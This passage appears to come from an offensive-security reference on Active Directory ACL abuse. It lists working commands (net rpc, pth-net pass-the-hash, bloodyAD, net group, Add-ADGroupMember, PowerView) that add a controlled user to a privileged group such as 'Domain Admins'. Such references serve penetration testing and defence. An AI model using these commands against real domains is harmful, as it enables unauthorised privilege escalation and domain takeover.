This abuse can be carried out when controlling an object that has a GenericAll, GenericWrite, Self, AllExtendedRights or Self-Membership, over the target group.
It can also be achieved from UNIX-like system with net, a tool for the administration of samba and cifs/smb clients. The pth-toolkit can also be used to run net commands with pass-the-hash.
# With net and cleartext credentials (will be prompted)
net rpc group addmem $TargetGroup $TargetUser -U $DOMAIN/$ControlledUser -S $DomainController
# With net and cleartext credentials
net rpc group addmem $TargetGroup $TargetUser -U $DOMAIN/$ControlledUser%$Password -S $DomainController
# With Pass-the-Hash
pth-net rpc group addmem $TargetGroup $TargetUser -U $DOMAIN/$ControlledUser%ffffffffffffffffffffffffffffffff:$NThash -S $DomainController
Alternatively, it can be achieved using bloodyAD
bloodyAD --host "$DC_IP" -d "$DOMAIN" -u "$USER" -p "$PASSWORD" add groupMember $TargetGroup $TargetUser
The attacker can add a user/group/computer to a group. This can be achieved with a native command line, with the Active Directory PowerShell module, or with Add-DomainGroupMember (PowerView module).
# Command line
net group 'Domain Admins' 'user' /add /domain
# Powershell: Active Directory module
Add-ADGroupMember -Identity 'Domain Admins' -Members 'user'
# Powershell: PowerSploit module
Add-DomainGroupMember -Identity 'Domain Admins' -Members 'user'